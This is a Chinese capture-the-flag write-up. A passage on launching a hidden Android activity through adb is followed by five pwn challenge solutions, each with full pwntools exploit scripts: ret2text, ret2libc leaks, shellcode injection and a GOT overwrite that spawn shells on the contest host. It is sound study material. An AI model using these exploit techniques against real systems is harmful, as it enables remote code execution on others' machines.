输入之后夜神模拟器就会打开我们安装的apk的main函数 也就是打开


这里我们要用flag函数,所以命令为am start -n com.droidlearn.activity_travel/com.droidlearn.activity_travel.FlagActivity


这样我们就能通过adb打开隐藏的 或是apk中打不开的部分函数

因为我们修改了数值,原本需要我们点击1w下才有flag,现在我们点击一下即可获得flag

Pwn

Pwn1.ret2text

64位附件,下载附件,分析源码。


给了后门backdoor


很简单的栈溢出,溢出后跳转到后门地址即可获得shell

v4溢出量32

构造payload

from pwn import *


p=remote('node4.buuoj.cn',29527)


payload = b'a'*(0x20+0x08) + p64(0x400708)


p.sendline(payload)


p.interactive()

Pwn2.calc

64位程序

重要函数

一个计算程序,在30s内答对100道计算题即可拿到shell

思路是用pwntool接收列式,然后计算发送结果即可。python的eval函数可以帮我们自动计算

from pwn import *


p = remote('node4.buuoj.cn',29946)


for i in range(100):
    p.recvuntil('answer?')


    n = p.recvline().decode()

    print(n)

    question = n.strip().split('=')[0]


    if 'x' in question:
        question = question.replace('x','*')


    answer = str(eval(question))


    p.sendline(answer)


p.interactive()

Pwn3.ret2libc

64位,libc版本2.31


s存在溢出,溢出量为32,题目没给后门,如题目名所说ret2libc

题目给了libc所以可以用one_gadget找到execve和puts的相对地址

思路是溢出后泄露puts的真实地址,然后构造libc 最终构造execve_addr,我们满足偏移后加上p64(pop) + p64(0)*4 +p64(execve_addr)就可以拿到shell了

本来常规做法是想直接泄露system和/bin/sh,但是发送过去无法拿到shell。所以换了种做法

第一次发送溢出,泄露puts地址并接收,改写返回第二次地址为main以便我们再次构造

context.log_level = 'debug'


p = remote('node4.buuoj.cn',28197)


elf = ELF('./pwn2')


libc = ELF('./libc-2.31.so')


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi = 0x0000000000400753
main = 0x400698


payload = b'a'*(0x20+0x08) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)


p.sendline(payload)


puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))


print(hex(puts_addr))

one_gadget查找后门和puts相对地址


溢出之后我们还需要找一个pop rdi;ret 该execve限制为r12和r15都为0即可,

Ropgadget查找


第二次发送,计算libc基址以及execve地址,构造最终payload,获得shell

puts_offset = 0x84420
execve = 0xe3afe
pop = 0x000000000040074c


libc_addr = puts_addr - puts_offset

execve_addr = libc_addr + execve

payload = b'a'*(0x20+0x08) + p64(pop) + p64(0)*4 + p64(execve_addr) #调用pop_addr清除掉r12和r15为0,返回地址改为execve_addr

p.sendafter('time?',payload) #这里一定要用send
p.interactive()


最终payload

from pwn import *


context.log_level = 'debug'


p = remote('node4.buuoj.cn',28197)


elf = ELF('./pwn2')


libc = ELF('./libc-2.31.so')


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi = 0x0000000000400753
main = 0x400698


payload = b'a'*(0x20+0x08) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)


p.sendline(payload)


puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))


print(hex(puts_addr))


puts_offset = 0x84420
execve = 0xe3afe
pop = 0x000000000040074c


libc_addr = puts_addr - puts_offset


execve_addr = libc_addr + execve


payload = b'a'*(0x20+0x08) + p64(pop) + p64(0)*4 + p64(execve_addr)


p.sendafter('time?',payload)


p.interactive()

Pwn4.ret2shellcode

64位程序

开了NX保护:


刚开始不知道哪里可以写shellcode,用gdb调试下

pwn-peda运行后vmmap看哪些地址有写入的权限


发现0x00233000具有最高权限,后面发现这个就是开头mmap申请的0x1000大小的块


那么只要我们的shellcode写到这个地址就可以执行shellcode的恶意代码 从而拿到shell

可以用pwntool的asm生成shellcode以及flat构造payload 很好用

payload = flat([shellcode,cyclic(offset),addr])

注意context设置系统位数为64 os为linux。

from pwn import *


context(arch = 'amd64',log_level='debug',os='Linux')


p = remote('node4.buuoj.cn',27191)


shellcode = asm(shellcraft.sh())


payload = flat([shellcode,cyclic(0x8),0x233000])


payload = shellcode + b'a'*(0x8) + p64(0x233000)


print(payload)


p.sendline(payload)


p.sendline(payload)


p.interactive()

Pwn5.fallw1nd’s gift

题目提示 libc版本2.31


64位程序

题目上来就给了puts的真实地址,后面可以用来泄露system的地址,然后scanf(“%p”,buf)这条命令可以到达任意一个地址

最后read(0,buf[0],0x10)就可以直接覆盖地址的内容

程序最后面一个puts(‘/bin/sh’)可以考虑将puts修改为system,也就是将puts的got表修改成system

所以思路就是首先将puts的got表发送给buf(这里puts_got发送时要发送hex(puts_got) 因为scanf(%p)只接收十六进制数),然后在read里修改buf内容为system的地址,system的地址可以用开头给的puts地址泄露。

最终执行system(‘/bin/sh’)拿到shell

坑点就是用libcsearcher找到的10个libc都是不能用的,加上我的虚拟机是kali glibc版本内核为2.33 所以libc比较麻烦

如果是用ubuntu去打那就可以直接打通了。后面发现这个2.31的libc在ret2libc就给了,是通用的

from pwn import *


p = remote('node4.buuoj.cn',25365)


elf = ELF('./fallw1nd_gift')


puts_got = elf.got['puts']


context.log_level='debug'


p.recvuntil('reward:\n')


addr = p.recv().split(b'\n')[0].decode().strip()


p.sendline(hex(puts_got))


puts_addr = int(addr,16)


print(addr)

#libc = LibcSearcher('puts',puts_addr)


libc = ELF('libc-2.31.so')


libcbase = puts_addr - libc.symbols['puts']
#libcbase = puts_addr - libc.dump('puts')

system = libcbase + libc.symbols['system']
#system = libcbase + libc.dump('system')

p.sendafter('content:\n',p64(system))


p.interactive()


libc方面需要注意下。